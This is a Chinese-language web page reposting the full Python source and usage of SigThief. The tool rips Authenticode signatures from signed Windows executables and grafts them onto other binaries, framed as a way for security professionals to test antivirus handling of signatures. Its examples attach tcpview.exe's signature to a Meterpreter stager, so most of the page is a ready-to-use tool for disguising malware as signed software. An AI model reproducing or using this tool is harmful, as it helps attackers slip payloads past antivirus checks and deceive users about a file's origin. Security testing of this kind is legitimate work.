1. #!/usr/bin/env python3
  2. # LICENSE: BSD-3
  3. # Copyright: Josh Pitts @midnite_runr
  4.  
  5. import sys
  6. import struct
  7. import shutil
  8. import io
  9. from optparse import OptionParser
  10.  
  11. def gather_file_info_win(binary):
  12. """
  13. Borrowed from BDF...
  14. I could just skip to certLOC... *shrug*
  15. """
  16. flItms = {}
  17. binary = open(binary, 'rb')
  18. binary.seek(int('3C', 16))
  19. flItms['buffer'] = 0
  20. flItms['JMPtoCodeAddress'] = 0
  21. flItms['dis_frm_pehdrs_sectble'] = 248
  22. flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
  23. # Start of COFF
  24. flItms['COFF_Start'] = flItms['pe_header_location'] + 4
  25. binary.seek(flItms['COFF_Start'])
  26. flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
  27. binary.seek(flItms['COFF_Start'] + 2, 0)
  28. flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
  29. flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
  30. binary.seek(flItms['COFF_Start'] + 16, 0)
  31. flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
  32. flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
  33. #End of COFF
  34. flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20
  35.  
  36. #if flItms['SizeOfOptionalHeader']:
  37. #Begin Standard Fields section of Optional Header
  38. binary.seek(flItms['OptionalHeader_start'])
  39. flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
  40. flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
  41. flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
  42. flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
  43. flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
  44. flItms['SizeOfUninitializedData'] = struct.unpack("<I",
  45. binary.read(4))[0]
  46. flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
  47. flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
  48. flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
  49. if flItms['Magic'] != 0x20B:
  50. flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
  51. # End Standard Fields section of Optional Header
  52. # Begin Windows-Specific Fields of Optional Header
  53. if flItms['Magic'] == 0x20B:
  54. flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
  55. else:
  56. flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
  57. flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
  58. flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
  59. flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
  60. binary.read(2))[0]
  61. flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
  62. binary.read(2))[0]
  63. flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
  64. flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
  65. flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
  66. flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
  67. flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
  68. flItms['SizeOfImageLoc'] = binary.tell()
  69. flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
  70. flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
  71. flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
  72. flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
  73. flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
  74. if flItms['Magic'] == 0x20B:
  75. flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
  76. flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
  77. flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
  78. flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]
  79.  
  80. else:
  81. flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
  82. flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
  83. flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
  84. flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
  85. flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zero
  86. flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
  87. # End Windows-Specific Fields of Optional Header
  88. # Begin Data Directories of Optional Header
  89. flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
  90. flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
  91. flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
  92. #ImportTable SIZE|LOC
  93. flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
  94. flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
  95. flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
  96. flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
  97. flItms['CertTableLOC'] = binary.tell()
  98. flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
  99. flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
  100. binary.close()
  101. return flItms
  102.  
  103. def copyCert(exe):
  104. flItms = gather_file_info_win(exe)
  105.  
  106. if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
  107. # not signed
  108. print("Input file Not signed!")
  109. sys.exit(-1)
  110.  
  111. with open(exe, 'rb') as f:
  112. f.seek(flItms['CertLOC'], 0)
  113. cert = f.read(flItms['CertSize'])
  114. return cert
  115.  
  116. def writeCert(cert, exe, output):
  117. flItms = gather_file_info_win(exe)
  118.  
  119. if not output:
  120. output = output = str(exe) + "_signed"
  121.  
  122. shutil.copy2(exe, output)
  123.  
  124. print("Output file: {0}".format(output))
  125.  
  126. with open(exe, 'rb') as g:
  127. with open(output, 'wb') as f:
  128. f.write(g.read())
  129. f.seek(0)
  130. f.seek(flItms['CertTableLOC'], 0)
  131. f.write(struct.pack("<I", len(open(exe, 'rb').read())))
  132. f.write(struct.pack("<I", len(cert)))
  133. f.seek(0, io.SEEK_END)
  134. f.write(cert)
  135.  
  136. print("Signature appended. \nFIN.")
  137.  
  138. def outputCert(exe, output):
  139. cert = copyCert(exe)
  140. if not output:
  141. output = str(exe) + "_sig"
  142.  
  143. print("Output file: {0}".format(output))
  144.  
  145. open(output, 'wb').write(cert)
  146.  
  147. print("Signature ripped. \nFIN.")
  148.  
  149. def check_sig(exe):
  150. flItms = gather_file_info_win(exe)
  151.  
  152. if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
  153. # not signed
  154. print("Inputfile Not signed!")
  155. else:
  156. print("Inputfile is signed!")
  157.  
  158. def truncate(exe, output):
  159. flItms = gather_file_info_win(exe)
  160.  
  161. if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
  162. # not signed
  163. print("Inputfile Not signed!")
  164. sys.exit(-1)
  165. else:
  166. print( "Inputfile is signed!")
  167.  
  168. if not output:
  169. output = str(exe) + "_nosig"
  170.  
  171. print("Output file: {0}".format(output))
  172.  
  173. shutil.copy2(exe, output)
  174.  
  175. with open(output, "r+b") as binary:
  176. print('Overwriting certificate table pointer and truncating binary')
  177. binary.seek(-flItms['CertSize'], io.SEEK_END)
  178. binary.truncate()
  179. binary.seek(flItms['CertTableLOC'], 0)
  180. binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
  181.  
  182. print("Signature removed. \nFIN.")
  183.  
  184. def signfile(exe, sigfile, output):
  185. flItms = gather_file_info_win(exe)
  186.  
  187. cert = open(sigfile, 'rb').read()
  188.  
  189. if not output:
  190. output = output = str(exe) + "_signed"
  191.  
  192. shutil.copy2(exe, output)
  193.  
  194. print("Output file: {0}".format(output))
  195.  
  196. with open(exe, 'rb') as g:
  197. with open(output, 'wb') as f:
  198. f.write(g.read())
  199. f.seek(0)
  200. f.seek(flItms['CertTableLOC'], 0)
  201. f.write(struct.pack("<I", len(open(exe, 'rb').read())))
  202. f.write(struct.pack("<I", len(cert)))
  203. f.seek(0, io.SEEK_END)
  204. f.write(cert)
  205. print("Signature appended. \nFIN.")
  206.  
  207. if __name__ == "__main__":
  208. usage = 'usage: %prog [options]'
  209. parser = OptionParser()
  210. parser.add_option("-i", "--file", dest="inputfile",
  211. help="input file", metavar="FILE")
  212. parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
  213. help='rip signature off inputfile')
  214. parser.add_option('-a', '--add', dest='addsig', action='store_true',
  215. help='add signautre to targetfile')
  216. parser.add_option('-o', '--output', dest='outputfile',
  217. help='output file')
  218. parser.add_option('-s', '--sig', dest='sigfile',
  219. help='binary signature from disk')
  220. parser.add_option('-t', '--target', dest='targetfile',
  221. help='file to append signature to')
  222. parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
  223. help='file to check if signed; does not verify signature')
  224. parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
  225. help='truncate signature (i.e. remove sig)')
  226. (options, args) = parser.parse_args()
  227.  
  228. # rip signature
  229. # inputfile and rip to outputfile
  230. if options.inputfile and options.ripsig:
  231. print("Ripping signature to file!")
  232. outputCert(options.inputfile, options.outputfile)
  233. sys.exit()
  234.  
  235. # copy from one to another
  236. # inputfile and rip to targetfile to outputfile
  237. if options.inputfile and options.targetfile:
  238. cert = copyCert(options.inputfile)
  239. writeCert(cert, options.targetfile, options.outputfile)
  240. sys.exit()
  241.  
  242. # check signature
  243. # inputfile
  244. if options.inputfile and options.checksig:
  245. check_sig(options.inputfile)
  246. sys.exit()
  247.  
  248. # add sig to target file
  249. if options.targetfile and options.sigfile:
  250. signfile(options.targetfile, options.sigfile, options.outputfile)
  251. sys.exit()
  252.  
  253. # truncate
  254. if options.inputfile and options.truncate:
  255. truncate(options.inputfile, options.outputfile)
  256. sys.exit()
  257.  
  258. parser.print_help()
  259. parser.error("You must do something!")

仅限安全专业人员......

这是什么?

多年来,我注意到在针对反病毒软件的测试中,每个都是不同的,并且每个PE签名的优先级不同,无论签名是否有效。有些反病毒软件供应商优先考虑某些证书颁发机构而不检查签名是否真正有效,并且有一些只是检查以查看certTable是否填充了某些值。一团糟。

所以我发布这个工具让你快速进行测试,并随时向供应商报告。

简而言之,它将从已签名的PE文件中删除签名并将其附加到另一个文件,修复证书表以对文件进行签名。

当然,这不是一个有效值的签名,这就是重点!

我期待听到您的结果!

如何使用 ?

用法

  1. Usage: sigthief.py [options]
  2. Options:
  3. -h, --help show this help message and exit
  4. -i FILE, --file=FILE input file
  5. -r, --rip rip signature off inputfile
  6. -a, --add add signautre to targetfile
  7. -o OUTPUTFILE, --output=OUTPUTFILE
  8. output file
  9. -s SIGFILE, --sig=SIGFILE
  10. binary signature from disk
  11. -t TARGETFILE, --target=TARGETFILE
  12. file to append signature too
  13. -c, --checksig file to check if signed; does not verify signature
  14. -T, --truncate truncate signature (i.e. remove sig)

从二进制文件中获取签名并将其添加到另一个二进制文件中

  1. $ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
  2. Output file: /tmp/msftesting_tcpview.exe
  3. Signature appended.
  4. FIN.

将签名保存到磁盘以供以后使用

  1. $ ./sigthief.py -i tcpview.exe -r
  2. Ripping signature to file!
  3. Output file: tcpview.exe_sig
  4. Signature ripped.
  5. FIN.

使用翻录签名

  1. $ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
  2. Output file: x86_meterpreter_stager.exe_signed
  3. Signature appended.
  4. FIN.

截断(删除)签名

这实际上有非常有趣的结果,可以帮助您找到重视代码功能签名的AV。Unsign putty.exe;)

  1. $ ./sigthief.py -i tcpview.exe -T
  2. Inputfile is signed!
  3. Output file: tcpview.exe_nosig
  4. Overwriting certificate table pointer and truncating binary
  5. Signature removed.
  6. FIN.

检查是否有签名(不检查有效性)

  1. $ ./sigthief.py -i tcpview.exe -c
  2. Inputfile is signed!
    git clone https://github.com/secretsquirrel/SigThief

Windows 签名伪造工具的使用,Python,签名的更多相关文章

  1. 用 Python 制作一个艺术签名小工具,给自己设计一个优雅的签名

    生活中有很多场景都需要我们签字(签名),如果是一些不重要的场景,我们的签名好坏基本无所谓了,但如果是一些比较重要的场景,如果我们的签名比较差的话,就有可能给别人留下不太好的印象了,俗话说字如其人嘛,本 ...

  2. 微信开发中access_token,js_ticket,时间戳,签名生成工具

    Access_token生成工具 工具地址:https://mp.weixin.qq.com/debug 这个工具主要用来验证和生成微信公众号access_token,主要有正确的app_id和app ...

  3. [工具向]__androidstudio签名打包apk及配置自动签名

    前言 好几天了,没怎么更新了,最近迷上了抓妖,有些懈怠了,这两天在看android的一些东西,java暂时就先放了放,昨天终于是完成了一个小阶段的任务,今天来对这两天的东西进行一下总结. *** 因为 ...

  4. Windows 硬件开发人员怎样选择代码签名证书类型

    在建立 Windows 开发人员中心硬件仪表板帐户之前,你需要获取代码签名证书以保护数字信息的安全.此证书是用于建立你的公司对你所提交代码的所有权的接受标准.它让你可以用数字形式签署 PE 二进制文件 ...

  5. 如何使用在线工具手动验证JWT签名

    如何使用在线工具手动验证JWT签名     先丢一个转换地址:https://cryptii.com/   首先: jwt分为三个部分:header,payload,verifysignature   ...

  6. 【Python】Windows微信清理工具v.3.0.2

    Windows微信清理工具v.3.0.2 更新内容: 1.清理完成时可显示删除了哪些文件. 软件截图: 所有版本及源码下载链接: 百度网盘:https://pan.baidu.com/s/1OSIpv ...

  7. [转]windows环境下使用virtualenv对python进行多版本隔离

    windows环境下使用virtualenv对python进行多版本隔离 最近在用python做一个文本的情感分析的项目,用到tensorflow,需要用python3的版本,之前因为<机器学习 ...

  8. 托管调试助手 "PInvokeStackImbalance":的调用导致堆栈不对称。原因可能是托管的 PInvoke 签名与非托管的目标签名不匹配。请检查 PInvoke 签名的调用约定和参数与非托管

    在C#中一定要检查引用时的数据类型 WinAPI 的数据类型 默认是32位的,但是引用时外部的是 Long类型默认是64位的.所以引用时需要将 long 改为 int 型. 参照 http://blo ...

  9. Windows更新清理工具 (winsxs 清理工具)

    Windows 更新清理工具是一款效果非常显著的Windows7.Windows8操作系统清理优化工具!经常安装系统的朋友相比有所体会,刚刚安装完成的Win7.Win8其实占的空间并不大,去掉页面文件 ...

随机推荐

  1. Nmap命令使用方法

          Nmap使用合集 感谢博主:VVVinson    文章链接:https://www.cnblogs.com/Vinson404/p/7784829.html 参    数 说    明 ...

  2. JAVA-标识符、变量、数据类型

    标识符和关键字 ​ 所有的标识符否应该以字母a ~ z和 A ~Z ,美元符($).下划线(_)开始. ​ 首字符之后可以是字母a ~ z和 A ~Z ,美元符($).下划线(_)的任意字符组合. 注 ...

  3. 基于ABP框架的SignalR,使用Winform程序进行功能测试

    在ABP框架里面,默认会带入SignalR消息处理技术,它同时也是ABP框架里面实时消息处理.事件/通知处理的一个实现方式,SignalR消息处理本身就是一个实时很好的处理方案,我在之前在我的Winf ...

  4. C# 基础 - Environment 类

    1. 程序根目录: (D:\\...\\WpfApp1\\WpfApp1\\bin\\Debug") string exePath = Environment.CurrentDirector ...

  5. addEventListener的第三个参数详解

    示例代码 element.addEventListener("mousedown", func, { passive: true });  element.addEventList ...

  6. 【Azure 微服务】PowerShell中,用Connect-ServiceFabricCluster命令无法连接到sf-test.chinaeast2.cloudapp.chinacloudapi.cn:19000 问题分析

    问题描述 Azure Service Fabric提供了PowerShell的指令来进行创建,管理资源,如Get-ServiceFabricClusterHealth 获取当前集群的健康状态,但这些命 ...

  7. VSCode 微信小程序扩展开发

    写在前面 为什么要开发这个扩展呢,是因为微信开发者工具自身不支持页面引入组件的跳转,人工根据引入组件路径查看对应代码的方式,效率偏低.就形如这样的json文件,引入了多个组件,比如要查看 " ...

  8. Flutter,Weex,React Native比较

  9. canvas-修改图片亮度

    canvas操作-修改图片亮度 目录 canvas操作-修改图片亮度 图片亮度的概念 下面用ps截图举一个例子: 调整图片亮度的方案 实现方案一 从RGB到HSV的转换 转换的公式 javascrip ...

  10. java例题_33 等腰输出杨辉三角

    1 /*33 [程序 33 杨辉三角] 2 题目:打印出杨辉三角形(要求打印出 10 行如下图) 3 程序分析: 4 1 5 1 1 6 1 2 1 7 1 3 3 1 8 1 4 6 4 1 9 1 ...